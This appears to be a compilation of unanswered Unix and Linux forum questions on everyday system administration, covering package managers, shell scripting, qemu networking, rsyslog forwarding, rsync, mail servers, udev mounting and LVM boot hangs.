Prevent yum from checking for updates when a new package is going to be installed

Whenever I want to install a new package with _yum_ , It first checks for updates. Is there a way to stop it from checking for updates each time a package is going to be installed?


Checking if a passphrase is able to decrypt symmetrically encrypted files

I have about twenty files symmetrically encrypted with CAST5. I have a single passphrase that is meant to work with all of the files and I wish to confirm that it does. I wrote a script to perform a check a check on each file.               read pass     for file in *.gpg ; do        if ! gpg --batch --passphrase "$pass" -d "$file" &>/dev/null ; then           echo "Passphrase invalid for '$file'."        fi     done      My method of checking to see if the passphrase is valid for each file requires the decryption of the entire file, which is extremely slow. Is there a quicker way to do what I am attempting to do?


Find directories without music files

My `~/Music/` directory is actually full of "empty" directories I want to clean. I say "empty" because this directories actually contain files, some contain old cover image files or `Thumbs.db files`. I want to recursively delete all of these directories that **don't contain any music files inside or other directories inside.** For example ~/Music/Audioslave/ contains a lot of directories with album names and no music files, but I don't want to delete it because inside there are the music files. I want though to delete ~/Music/Audioslave/oldalbum/ if the oldalbum directory doesn't have nor music files nor other directories inside.


Mirror for Fedora core 4 still available?

I'm trying to rebuild ELDK 4.0, which uses Fedora Core 4 as its base. Can anyone direct me to a mirror that still hosts the files?


determining path to sourced shell script

Is there a way for a _sourced_ shell script to find out the path to itself? I'm mainly concerned with bash, though I have some coworkers who use tcsh. I'm guessing I may not have a ton of luck here, since sourcing causes commands to be executed in the current shell, so `$0` is still the current shell's invocation, not the sourced script. My best thought currently is to do `source $script $script`, so that the first positional parameter contains the necessary information. Anyone have a better way? To be clear, I am _sourcing_ the script, not running it:               source foo.bash


protocol version mismatch (client 8, server 6) when trying to upgrade

I'm trying to upgrade to a newer version (that has a bug fix) than my current 1.6. I am on Ubuntu and recently upgraded to Ubuntu 13.04. Ideally I want to use tmux version 1.8 or even 1.9. I've downloaded newer versions but can't get them working. I downloaded 1.9a but when I try and run it, it just hangs. I tried this download: http://sourceforge.net/p/tmux/tmux- code/ci/master/tree/README#l26 and did the               $ sh autogen.sh     $ ./configure && make      but I get               $ ./tmux     $ protocol version mismatch (client 8, server 6)      I tried to download and use a 1.8.4 version but the download didn't seem to have files I could use.


Using a perl compatible regex with GNU grep -P

I'm using this regex `(?<=\\[')[^,]*` on a file containing the following line `disk = ['OVS/sdasd/asdasd/asdasd/something.img, w']` I want that to return `OVS/sdasd/asdasd/asdasd/something.img` How do I use `grep` to make it work? I've tried `grep -P "(?<=\\[')[^,]*"` but it returns the whole line.


CentOS 6 - No Updates

I've had a CentOS 6.3 VM set up for some time now, but I'm not seeing any updates when I run yum check-update, or yum list-security. There has to be something (especially with Apache/MySQL!). If I run `yum list --security` or `\--bugfix`, I do see quite a few packages, but I know many of them don't apply as they're not installed. When running `yum check-update --security`, again I get > No packages needed for security; 0 packages available Now, perhaps there aren't _any_ , but that doesn't seem plausible.


Mutt silently failing when trying to send an e-mail from command line

I'm trying to send and e-mail from mutt from command line using following command:               mutt -F /my/path/to/muttrc -s "Hello" an@email.com < test.txt      But nothing happens. Mutt doesn't display any error but mail it's not sent. Everything works fine if I enter interactive mutt using `mutt` command and send the e-mail from there. In my muttrc I have configured a gmail account, like this:               account-hook    imaps://a_user@imap.gmail.com 'set imap_user=a_user@gmail.com imap_pass="password"'     folder-hook     'imaps://a_user@imap.gmail.com' 'set folder=imaps://a_user@imap.gmail.com/'     set folder=imaps://a_user@imap.gmail.com/     mailboxes +INBOX     set spoolfile = +INBOX     folder-hook    imaps://a_user@imap.gmail.com 'set smtp_url="smtps://a_user:password@smtp.gmail.com"'     folder-hook     'imaps://a_user@imap.gmail.com' 'set from=a_user0@gmail.com'     folder-hook    imaps://a_user@imap.gmail.com 'set realname="A Real Name"'          set header_cache=~/.mutt/cache/headers     set message_cachedir=~/.mutt/cache/bodies     set certificate_file=~/.mutt/certificates     unset record     set timeout=15     set mail_check=60     set imap_keepalive = 900     unset imap_passive     set move = no     set sort = 'last-date-received'     set charset=utf-8     set locale=$LANG     send-hook "~f a_user@gmail.com" 'set signature="~/.mutt/signature"'     set editor = 'vim'


Networking and Samba from a quest OS running on qemu

I'm trying to test some software on a big endian system to ensure compatibility. My plan is to use qemu on Ubuntu 12.04 to emulate a MIPS system. So far I've been able to create the quest system successfully, but I haven't been able to network it with the host system. I can access the outside world from the guest system (e.g. wget or apt-get), but my attempts at setting up samba have failed. According to this, in QEmu 1.1 and newer the network bridge helper can set tun/tap up for you without the need for additional scripting. I'm trying to use that since I've seen different versions of the scripts. Right now `qemu- system-mips -version` reports the following:               QEMU emulator version 1.0.50 (Debian 1.0.50-2012.03-0ubuntu2.1), Copyright (c) 2003-2008 Fabrice Bellard      I've compiled from the 1.4.1 source and used the version from `apt-get`. Both report the same thing. I'm working under the assumption that I have version 1.1 or later despite what `-version` is telling me. Anyway, the next instruction was to turn on the setuid attribute for the default network helper:               sudo chmod u+s /usr/local/libexec/qemu-bridge-helper      Next I created a `bridge.conf` file in `/etc/qemu/` and `/usr/local/etc/qemu` with `-rw-r--r--` for permissions. The contents of the file are:               allow br0      If I start QEmu with the following command:               qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda disk.img -append "root=/dev/sda1 console=ttyS0" -nographic -net nic -net bridge,br=br0 -smb /home/uli/samba      or with               qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda disk.img -append "root=/dev/sda1 console=ttyS0" -nographic -netdev bridge,id=hn0 -device virtio-net-pci,netdev=hn0,id=nic1      or with               qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda disk.img -append "root=/dev/sda1 console=ttyS0" -nographic  -netdev tap,helper=/usr/local/libexec/qemu-bridge-helper,id=hn0 -device virtio-net-pci,netdev=hn0,id=nic1      I get the following error:               failed to get mtu of bridge `br0': No such device     failed to launch bridge helper     qemu-system-mips: -net bridge,br=br0: Device 'bridge' could not be initialized      Fair enough, I didn't create the br0 bridge. I've tried creating one with a script I don't understand, but then my quest MIPS QEmu system no longer connects to anything. It sees br0, but it doesn't get an IP address. Clearly I'm doing something wrong here:               ifconfig br0 down     brctl delbr br0          ifconfig eth2 0.0.0.0 promisc up          brctl addbr br0     brctl setfd br0 0     brctl addif br0 eth2          echo 1 > /proc/sys/net/ipv4/conf/br0/proxy_arp     echo 1 > /proc/sys/net/ipv4/conf/eth2/proxy_arp     echo 1 > /proc/sys/net/ipv4/ip_forward          dhclient br0     ifconfig br0 up      Is there an easier way to do this? Personally, I would be fine just using the SMB server on \10.0.2.4\qemu that's described here, but that hasn't worked for me either (115 errors when I try to mount the share, presumably because of networking trouble). **Update** Once I create the bridge, I see the following output from ifconfig on the host machine:               br0       Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX                 inet addr:10.2.32.101  Bcast:10.2.32.255  Mask:255.255.255.0                         UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1               RX packets:85 errors:0 dropped:0 overruns:0 frame:0               TX packets:51 errors:0 dropped:0 overruns:0 carrier:0               collisions:0 txqueuelen:0                RX bytes:8235 (8.2 KB)  TX bytes:9227 (9.2 KB)          eth2      Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX                 UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1               RX packets:196581 errors:0 dropped:0 overruns:0 frame:0               TX packets:44205 errors:0 dropped:0 overruns:0 carrier:0               collisions:0 txqueuelen:1000                RX bytes:139517339 (139.5 MB)  TX bytes:3365206 (3.3 MB)      Checking the `brctl show` output, I see the following:               bridge name     bridge id           STP enabled     interfaces     br0             8000.XXXXXXXXXXXX       no              eth2      Now I start the quest system in QEmu. If I run ifconfig, I see the following:               eth0      Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX                 UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1               RX packets:536 errors:1 dropped:51 overruns:0 frame:0               TX packets:13 errors:0 dropped:0 overruns:0 carrier:0               collisions:0 txqueuelen:1000                RX bytes:55083 (53.7 KiB)  TX bytes:2862 (2.7 KiB)               Interrupt:10 Base address:0x1020      And the bridge looks like this:               bridge name     bridge id           STP enabled     interfaces     br0             8000.XXXXXXXXXXXX   no      eth2                                                             tap0      Unfortunately with this setup, the quest system has lost the limited "user mode" networking it once had (i.e. wget and apt-get no longer work). The only IP address I see is for the bridge, so I'm not sure how the quest will appear on the network. The host still appears, at the same IP address as br0. **Update** Here is the output from iptables -L               Chain INPUT (policy ACCEPT)     target     prot opt source               destination                   Chain FORWARD (policy ACCEPT)     target     prot opt source               destination                   Chain OUTPUT (policy ACCEPT)     target     prot opt source               destination


Can awk use field identifiers also for shell strings (variables)?

Well, this apparently is not possible the way I'm trying it. This alternate approach to obtain **bar** as a resulting string works, though:               #!/bin/bash          path1=/usr/tmp/foo/bar/baz          awk -F/ '{print $5}' <<< "$path1"      So far so good, but what if I want to do without the `<<<` operator as well as those notorious `echo | ...` pipes? In a nutshell, what I'm trying to do is passing `path1` as a variable with the `-v pa="$path1"` directive _and_ using both the field separator `-F/` and the field identifiers (e. g. `$5`) to parse the `awk`- **internal** `pa` variable, which got its value assigned from the **external** `path1` shell variable. Can this be done "inside" `awk`, too?


How do I fix broken libxml2-dev dependency on Debian using apt?

When I run `sudo apt-get upgrade` on my Debian Squeeze install, I get the following error:               You might want to run 'apt-get -f install' to correct these.     The following packages have unmet dependencies:      libxml2-dev : Depends: libxml2 (= 2.7.8.dfsg-2+squeeze3) but 2.7.8.dfsg-2+squeeze5 is installed     E: Unmet dependencies. Try using -f.      I'm not sure what "squeeze3" versus "squeeze5" means, but it is the only thing that differs in the libxml2 package. When I try "sudo apt-get install -f", I get:               The following extra packages will be installed:       libxml2-dev     The following packages will be upgraded:       libxml2-dev     1 upgraded, 0 newly installed, 0 to remove and 8 not upgraded.     108 not fully installed or removed.     Need to get 0 B/830 kB of archives.     After this operation, 69.6 kB disk space will be freed.     Do you want to continue [Y/n]? Y     (Reading database ... 96842 files and directories currently installed.)     Preparing to replace libxml2-dev 2.7.8.dfsg-2+squeeze3 (using .../libxml2-dev_2.7.8.dfsg-2+squeeze5_amd64.deb) ...     Unpacking replacement libxml2-dev ...     dpkg: error processing /var/cache/apt/archives/libxml2-dev_2.7.8.dfsg-2+squeeze5_amd64.deb (--unpack):      unable to install new version of `./usr/include/libxml2': No such file or directory     configured to not write apport reports                                           dpkg-deb: subprocess paste killed by signal (Broken pipe)     Errors were encountered while processing:      /var/cache/apt/archives/libxml2-dev_2.7.8.dfsg-2+squeeze5_amd64.deb     E: Sub-process /usr/bin/dpkg returned an error code (1)      A similar error occurs with `sudo apt-get upgrade -f`. My /etc/apt/sources.list is currently:               deb http://ftp.us.debian.org/debian/ squeeze main contrib non-free     deb http://ftp.debian.org/debian/ squeeze-updates main contrib non-free     deb http://security.debian.org/ squeeze/updates main contrib non-free      How do I go about fixing this? Thanks!


Tomcat: no xmx/xms value set, where is the heap value being defined?

I have a Tomcat 7 install running with Java 1.7 on a Linux 2.6 server, and `jinfo` shows no `xmx` or `xms` values. `ps` output shows nothing set for xmx/xms on the command line for the java process. Tomcat is running fine, but I am curious what settings will be used for heap when xmx and xms are not being set anywhere. They aren't in catalina.sh and setenv.sh doesn't exist. What does the JVM use in this scenario?


Monodevelop D Bindings for Debian / Ubuntu?

I want to install the D-Language binding for MonoDevelop but it does require MonoDevelop 4.x, which isn't available yet for Linux based systems. Is there any way I can get around this? I tried manually installing Mono and MonoDevelop but that just ended up in a huge mess and a lot of errors.


Automount in Xfce4 just stopped working

A little while ago my usb drives stopped auto mounting. It might have been after an update but not sure where to look. I have been manually mounting them as root and that is a pain. Is there maybe even something better that I can have more control over the mounting? I would like a small program that would let me mount and unmount drives with one click to a folder in `/mnt/(device name)` with user read/write permissions. Udev is kind of a gray area/black magic to me. I have tried 100 times to figure it out but I can't help but think there should be a much simpler way. Such as in Puppy Linux how you can open the mount menu and mount/unmount each device. Though every thing in Puppy runs as root so it is easier. I am running Gentoo on AMD64 (amdfam10). One side question, How can you tell which `/dev/...` files are currently representing actual devices? Here is the last 30 lines fresh after plugging in a usb drive               Jun 26 15:19:41 core dbus[9204]: [system] Activating service name='org.freedesktop.ConsoleKit' (using servicehelper)     Jun 26 15:20:06 core dbus[9204]: [system] Failed to activate service 'org.freedesktop.ConsoleKit': timed out


rsyslog && sending data to other host

Using **CentOS** 6.4. Problem is - that messages from `kern.*` facility doesn't appear on other server. Tring to send data:               # logger -p kern.warning -t TEST "Test warning for remote host KERNEL"     # logger -p cron.warning -t TEST "Test warning for remote host CRON"     # logger -p mail.warning -t TEST "Test warning for remote host MAIL"      Checking **MySQL** data:               mysql> select ID,Message from SystemEvents order by ID desc limit 3;     +--------+------------------------------------+     | ID     | Message                            |     +--------+------------------------------------+     | 524007 |  Test warning for remote host MAIL |     | 524006 |  Test warning for remote host CRON |     | 524005 |  Test warning for remote host MAIL |     +--------+------------------------------------+     3 rows in set (0.00 sec)      There is no data from `kern` facility. Why? Config on host-recipient:               # cat /etc/rsyslog.conf | egrep -v '^[[:space:]]*$|#'     $ModLoad imudp     $UDPServerRun 514     $ModLoad imtcp     $ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat     $IncludeConfig /etc/rsyslog.d/*.conf     kern.*                                                 /var/log/kern.log     syslog.*                                                /var/log/syslog.log     *.info;mail.none;authpriv.none;cron.none;local0.none                /var/log/messages     authpriv.*                                              /var/log/secure     mail.*                                                  -/var/log/maillog     cron.*                                                  /var/log/cron     *.emerg                                                 *     uucp,news.crit                                          /var/log/spooler     local7.*                                                /var/log/boot.log      **MySQL** config on recipient:               # cat /etc/rsyslog.d/hostname.conf     $ModLoad ommysql     :fromhost, isequal, "hostname" :ommysql:localhost,Syslog,rsyslog,megapass      And host-sender:               # cat /etc/rsyslog.conf | egrep -v '^[[:space:]]*$|#'     $ActionFileDefaultTemplate RSYSLOG_TraditionalFileFormat     $IncludeConfig /etc/rsyslog.d/*.conf     kern.*                                                  @hostname     syslog.*                                                /var/log/syslog.log     *.info;mail.none;authpriv.none;cron.none                /var/log/messages     authpriv.*                                              /var/log/secure     mail.*                                                  -/var/log/maillog     mail.*                                                  @hostname     cron.*                                                  /var/log/cron     cron.*                                                  @hostname     *.emerg                                                 *     uucp,news.crit                                          /var/log/spooler     local7.*                                                /var/log/boot.log     local4.*                                                /var/log/ldap.log      **UPD** Also, I noticed that data doesn't send even to local file:               kern.*                                                  /var/log/kern.log      And:               # logger -p kern.warning -t TEST "Test warning for local host KERNEL"      And:               # tail /var/log/kern.log | grep "TEST"      Return nothing. So - am I correct if I guess that `logger`can't send data "from kernel"? It's sounds logical...


Colon breaks the variable subsitution

I am trying to lookup some C functions so that I could debug while using strace. So I setup a bash function to look it up in firefox (or links), but the substitution falls apart with `:` and escaping does not work, at least not in a simple way. ### Working               ff() {         firefox "https://www.google.com/search?hl=en&q=%*"     }      ### Not working               cr() {         firefox "codewiki.wikidot.com/c:system-calls:%*"     }      firefox gets `:` parsed in as input, but also $* gets parse in as literal characters. ### Tried:               1. Escaping : % *     2. Enclosing ${%*}     3. Changing " '     4. EnvVariable COMP_WORDBREAKS=${COMP_WORDBREAKS//:}      **Edit:** My question is flawed. My working code had `$*` all along. I wish to delete my question, but I leave it for reference to people who might be encouraged to write answers and improve questions on similar problem.


zero downtime on server

The scenario is, I have two web servers both are running nginx on it, also I have configured haproxy after the LB for both the servers, I have checked with heartbeat, but no luck to make downtime count "zero". I want some application which will switch to secondary server instantly when primary server gets down, in other words it should not give any downtime. Thanks for your help.


`man ascii` is misaligned when using vim as a pager

To use Vim as a pager for man I have               export MANPAGER="/usr/share/vim/vim73/macros/manpager.sh"      in my profile. Now man pages look very good with colors and stuff. However, when trying `man ascii` as a way of looking at the ASCII table, I notice that the table is mis-aligned as in the screenshot below: ![Messed up ASCII table](http://i.stack.imgur.com/nBjem.png) This problem doesn't happen to the default pager. When I set `export MANPAGER="view -"` the table is also correct, so something must be wrong with the `manpager.sh` script:               #!/bin/sh     sed -e 's/\x1B\[[[:digit:]]\+m//g' | col -b | \     vim \         -c 'let no_plugin_maps = 1' \         -c 'set nolist nomod ft=man' \         -c 'let g:showmarks_enable=0' \         -c 'runtime! macros/less.vim' -      How can I fix this?


rsync only missing directories

Is there a way to tell `rsync` to sync only source directories that are missing on a destination (whole directories, not just any missing file)? Considering `S` as the set of source directories, and `D` the set of destination directories, I want to:   * copy the entire directory `s` in `S` if `s` not in `D`.   * skip entirely the directory `s` (indep. of the files it contains) if `s` in `D`. Of course it's possible to list the directories on both sides, `rsync` the list from the destination, do some `perl` and generate a list of all directories that need to be copied, but it would be better if it were possible with just one invocation of `rsync`. For example, if source and destination are on the same server, one could do:               src=/some/where     dst=/else/where     cd /tmp     (cd $src; find . -type d) | sort > a     (cd $dst; find . -type d) | sort > b     comm -23 a b | perl -e 'L: while(<>) {chomp; $p=$_; while ($p=~s,/[^/]+$,,) { next L if $n{$p}; } $n{$_}++; s,^./,/,; print "$_/***\n"}' > tocopy     rsync -vmazn --include-from tocopy --exclude '*' $src/ $dst/      (without the `-n` if for real).


Any good usb-serial (RS485) adapter to use with GNU/Linux?

I'm having problem with usb-serial (RS485) adapters. Firstly, I tried ch341 without success. The problem in this case is the linux driver, made by reverse engeneering (sadly without any help from the company). At Windows it works great. So I changed to FTDI (FT232BL) but, despite "working", it fails consistently, erroring a bit in one byte from time to time and this prevents its use. But, i think it is not linux driver fault because errors happen at Windows also. So... Do you recommend any good usb-serial (RS485) adapter to use with GNU/Linux? PS: I'd like to put tag "usb-serial" in this question, but i don't have reputation enough to create that.


Forcing Bash to use Perl RegEx Engine

As you may already know, a lot of the features modern RegEx engines support (back referencing, lookaround assertions, etc.) are not supported by Bash RegEx engine. Following is a simple Bash script I have just created to try to explain what my end goal is:               #!/bin/bash          # Make sure exactly two arguments are passed.     if [ $# -lt 2 ]     then         echo "Usage: match [string] [pattern]"         return     fi          variable=${1}     pattern=${2}          if [[ ${variable} =~ ${pattern} ]]     then         echo "true"     else         echo "false"     fi      So for instance, something like the following command will return false:               . match.sh "catfish" "(?=catfish)fish"      whereas the exact same expression will find a match when used in a Perl or a JavaScript regex tester. Backreferences (e.g. (expr1)(expr2)[ ]\1\2) won't match as well. I have simply come to the conclusion that my problem will only be solved when forcing bash to use a Perl-compatible RegEx engine. Is this doable? If so, how would I go about performing the procedure?


How to delete directories based on `find` output?

I issue the following command to find the .svn directories:               find . -name ".svn"      That gives me the following results:               ./toto/.svn     ./toto/titi/.svn     ./toto/tata/.svn      How could I process all these lines with `rm -fr` in order to delete the directories and their content?


Forward port 80 to another port

I am running a webserver on a RedHat 6 box that I don't have root access to. Because I need ports 80 and 443, I require root access to start and stop the server. I am not allowed root access, but I am able to ask someone with root access to set something up to forward the ports for me. So is it possible to forward port 80 to 8080 and port 443 to 8443, so that I am able to start and stop my server without root access?


Is there any way to prevent deletion of certain files from user owned directory?

Let's say user has **Directory1** and it contains **_File1 File2 CantBeDeletedFile_** How to make so the user would never be allowed to delete the **_CantBeDeletedFile_**? If I change the ownership of **Directory1** and remove write permissions users wouldn't be able to delete any file. They also wouldn't be able to add new files etc. I just want to be able to set some files which would never be deleted. More specific description. I am creating user profiles. I am creating application launcher files in their **Desktop**. So I want to set some launcher files (.desktop) and make them so user can only launch them and they couldn't rename nor delete, just launch. Currently if user owns the directory which contain any file. He can delete. If there is no generic way for all *nix, it's a Linux and ext4 FS.


Proper syntax for ansible symlink

_What is the proper syntax for creating symlinks using ansible?_ I'm creating a Vagrant virtual environment and running ansible as my provisioner. Everything works fine up until I try to symlink to my site nginx configuration file from sites-enabled. Here is what I've tried.               - name: Create symlink to example.com       file: path=/etc/nginx/sites-enabled/example.com dest=/etc/nginx/sites-available/example.com state=link       notify: nginx reload      When I do this I'm met with the following error.               ERROR: Syntax Error while loading YAML script,     /Users/username/project/ansible/roles/nginx/tasks/main.yml Note: The     error may actually appear before this position: line 24, column 1          - name: Symlink to example.dev.conf file: path=/etc/nginx/sites-enabled/example.dev.conf        state=link ^ Ansible failed to complete successfully. Any error output should be visible above.        Please fix these errors and try again.      I've also tried using `src=/etc/nginx/sites-enabled` instead of `path` but I can't seem to find a definitive example of this on the web. Specs:   * OSX Mavericks   * vagrant 1.6.3   * VirtualBox 4.3   * nginx 1.6.0   * ansible 1.6.2   * ubuntu 14.04


Obtain the "pretty" hostname in bash

On my Fedora 19 system, I am able to change the system hostname with `hostnamectl`. This allows me to set several things, such as the static (normal) hostname, as well as a "pretty" hostname. Is there a simple command that retrieves the pretty hostname, from a bash prompt? `hostname` returns the static hostname, and the man page shows no options to recover the pretty one.


Getting the source for something that doesn't seem to have an associated package?

I recently just wanted to look at the source code for `sha1sum`.               alec@ROOROO:~/tmp-source-study$ apt-get source sha1sum     Reading package lists... Done     Building dependency tree            Reading state information... Done     E: Unable to find a source package for sha1sum      The next thing I did was to read the manual. The manual mentioned coreutils. But I don't see anything like `sha1sum.c`, and there's no associated Debian package for sha1sum, as far as I can tell. What should I be doing to get the source code for this small, basic program without having to use a search engine, from the convenience of my shell?


unable to open X server with ImageMagick Mac osx

I am trying to display an image using the following:               Display someimage.jpeg      It returns this:               display: unable to open X server `' @ error/display.c/DisplayImageCommand/426.      I have been looking at other posts and I have tried the following with no luck:               export DISPLAY="0.0"


Sharing window between workspaces in Xmonad

I sometimes need to share the same terminal window between two workspaces. Is it possible to set this in xmonad configuration? Currently I'm solving this with "move to workspace 2" and "move to workspace 1" for that window but this is cumbersome.


installing ffmpeg-php on centos

With the help of this guide, I am trying to install ffmpeg using these commands:                # cd ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/      # replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *      # phpize       # ./configure --with-ffmpeg=/usr/local/cpffmpeg      # make       # make install      But when I run this `replace 'PIX_FMT_RGBA32' 'PIX_FMT_RGB32' -- *` I get this error: > replace: Error reading file 'autom4te.cache' (Errcode: 21) replace: Error > reading file 'build' (Errcode: 21) ffmpeg_frame.c converted replace: Error > reading file 'include' (Errcode: 21) replace: Error reading file 'modules' > (Errcode: 21) replace: Error reading file 'tests' (Errcode: 21) And when I run `make` and skip that line I get:               /root/ffmpeg-php/branches/ffmpeg-php/ffmpeg-php-0.6.1/ffmpeg-php.c:171: error: expected '{' at end of input     make: *** [ffmpeg-php.lo] Error 1      Any ideas?


What happens when a USB drive is plugged in?

What is the flow of USB events from kernel space to user space? I get a popup on my desktop when I plug in a USB drive -- what is the sequence of events that leads from detecting the new USB drive to mounting it and showing that popup? (I know it's a very broad question, but please guide me with some pointers on how to understand the whole idea behind it. I have no problem in browsing large blocks of code if I can be guided correctly.)


How to configure polkit with KDE?

My system is Gentoo amd64, KDE 4.11, and lightDM. I updated my system recently, and found out my user account can't shutdown from KDE. The function is disappeared. I looked for a long time, and I think it is a permission issue. I checked some blogs/wikis talking about **polkit** configuration. But none works for me. So bascially, my question is, how to let a non-root user to have administrator permission in KDE with **polkit**?


How to save boot.log between reboots?

How do you save the `/var/log/boot.log` between reboots? Or, more specifically, how can you just have boots be appended to that file? I have an issue with a kernel that I am running and need to be able to preserve the boot.log when I boot up into a working kernel.


Why can't I run mysql?

I'm trying to import a database from Wamp to Xampp. I run Lampp first, then go to `/opt/lampp/bin` and run:               mysql (or mysqladmin ?) -u root -h localhost      but I get: > mysql: command line not found Why isn't it working?


automatically load shell scripts from /usr/bin

Is there a way to have bash automatically load shell scripts I create and place into /usr/bin? Or is there a different place I should put custom shell scripts so that they are automatically loaded? For example suppose I create a script called `myscript` with contents:               #!/bin/bash     alias e=echo      and make it executable (`chmod a+x`), and put it into usr/bin. I am not able to call e from the commandline (when I try, it says the command wasn't found). What am I doing wrong?


sending email to IP address via postfix

My friend and I have configured two Postfix mail servers on our laptops. We succeeded in sending mail to a real network (to some Gmail accounts) from our computers; that was the easy part. We now want to send an email from one laptop to the other; both laptops are on the same network (they're using the same WIFI) and they both have Postfix installed on them (OSes of laptops are Ubuntu). We tried to send email like this:               rcpt to: postmaster@[IP Address]      Yet, we have the same IP (when we check on sites like this), since we are on same network. We aren't network veterans, either. Here is the question: is it possible to send email from one laptop to the other, on the same network? If it is so, how could it be done? Moreover:   * my computer's local IP: 192.168.174.128   * friends local IP: 192.168.200.128 When I try to send an email via Postfix this command does it right:               rcpt to: username@[192.168.174.128]      But, it isn't working when I try to send email to my friend's Postfix:               rcpt to: username@[192.168.200.128]      He can't receive the mail that I've sent.


Container lockdown

I was reading about LXC vs OpenVZ and was wondering if this issue has already been solved in more recent updates: > OpenVZ has done quite a good job at this, but LXC still has issues here. > Even with AppArmor enabled, in Ubuntu you still have access to dmesg from > the guests and /proc/kcore and /proc/sysrq-trigger are still accessible, so > a root user in a guest VM could easily restart the host machine. > Improvements are planned for Ubuntu version 13.04. source: http://www.janoszen.com/2013/01/22/lxc-vs-openvz/


script to automate scp in network

I have a network full of Linux machines. In this network, I have a user as **user1** with the password as **password** in all the machines. I have the following script to put files in the home directory of **user1** in all the machines of the network.               #!/usr/bin/expect -f          # connect via scp     spawn cat /home/user1/Desktop/IPlistfile.txt | while read line do     spawn scp /home/user1/Desktop/filetobesent.txt user1@${line}:/home/user1/Desktop     #######################     expect {     -re ".*es.*o.*" {     exp_send "yes\r"     exp_continue     }     -re ".*sword.*" {     exp_send "password\r"     }     }     interact     done      The problem is I am getting an error message as "`can't read line. No such variable`". However, if I use a IP address directly instead of the line variable, I am able to transfer the file. **Edit** : The IPlistfile.txt contains the list of IP addresses in my network. Each line contains a single IP address.


How to check and set "rhash_entries" parameter?

I'm reading this article, and it says:               rhash_entries is the size of the hash table. If you don't specify it on the     kernel command line, it is computed dynamically based on the memory available     on your system. You can view its value by looking at something like IP route     cache hash table entries: 262144 (order: 9, 2097152 bytes) in the kernel logs.      But when I'm checking if there is the entry in kern.log or syslog, I can't find any. If I understood this well, if I wanted to change the default size of the table, I should add `rhash_entries=` to the kernel line in extlinux/grub , but after doing so, there's also no "route" communicates in the logs. I'm just trying to understand how the parameters in sysctl works (not only this one), but without knowing how to read and set `rhash_entries`, I won't understand how the route cache works. Does anyone know something about this `rhash_entries` kernel parameter?


WiFi fails in LXLE 12.04.4

Installed LXLE 32-bit 12.04.4 on a Dell Inspiron B130. Networking works, WiFi fails. Has a Broadcom 4401-B0. Network applet shows WiFi greyed out, just like it did in the LiveUSB boot. lspci reports:               02:00.0 Ethernet controller: Broadcom Corporation BCM4401-B0 100Base-TX (rev 02)      WiFi is enabled in BIOS, no mechanical switch to disable. Worked in XP. Updated system, rebooted, problem persists. Installed the three b43 packages, skipping lpphy and rebooted. WiFi still does not appear. Installed wicd and uninstalled network-manager, launched wicd. It still does not see WiFi. Rebooted. Opened Wicd. Found the tab at upper right for the pull down list and chose Preferences. Found WiFi box. Set WiFi card to wlan Clicked OK then Refresh - "No wireless interface found." Repeated for wlan0 through wlan7 - No wireless interface found.


Vocabulary trainer for Unix

I am looking for a Linux (Ubuntu) software that allows me to take note of new words that I learn online. I manually add new words, their meaning and usage. The software then displays each item in a nice format and allows me to review them in a variety of ways, e.g., randomly, or just alphabetically. It is also good to have the ability to export the list to a file, for use in other software. It's something like a box of vocabulary cards, but hopefully with some additional useful capabilities.


How to get file descriptor other than stdin stdout and stderr (to do something like $ program 1>file_1 3>file_2)?

When an executable produces an output I prefer to let the executable print the output to `stdout` in order to redirect them in a file as well to pipe them to another command. Let suppose that an executable has to write two distinct outputs, usually redirected to two distinct files. I would like to avoid passing the filenames to the executable and writing directly to files, instead I would like to write something like               $ program 1>file_1 3>file_2      Is possible to do something like that?


lvmetad hangs on startup

I got a machine running archlinux that have a problem on boot. It hangs for 90s waiting for pvscan on block devices, and then give up. (actually, the pvscan process are still stuck ,and any lvm command after that will hang too). Sometimes it works well. After some digging, it looks like lvmetad(8) is responsible for this hang, as it hangs itself at start:               lvmetad[360]: Cannot lock lockfile [/run/lvmetad.pid], error was [Resource temporarily unavailable]      If I kill it and start it again after boot, the hanging pvscan processes are unlocked, finish their works, and everything goes back to normal (lvm commands works again, etc.) You can see this in logs : Pastebin I tried to lower verbosity of lvmetad, but I only get the error given. _sometimes_ the boot is a little longer than usual (waiting for root partition), and lvmetad starts well (I'm not sure it's really related, though) Have you an idea on how to prevent this error ? Edit: I've collected more information:   * the "cannot log logfile" error appears when fcntl() fails with EAGAIN (a file to be locked is already shared-locked or exclusive-locked by another process)   * there is a lvmetad running on the system, with a very little pid (way littler than the failing process we see in logs)   * the lvmetad process spawned by lvm2-lvmetad.service is run with -f, so the running one is not this one   * the first one was started 3 seconds before the second (before systemd) the cleanup hook of lvm2 component for initrd should kill the early lvmetad, dont for a reason it does not work:               run_cleanuphook() {         kill $(cat /run/lvmetad.pid)     }      killing the process after boot don't work neither I took a debug trace (can't post a third link, I put it at the end of the second paste), and it looks like the main thread is waiting for terminations of other threads, and there is a client_thread stuck on a read on fd 6 (/run/lvm/lvmetad.socket)


How can I create a udev rule to mount a USB drive read only?

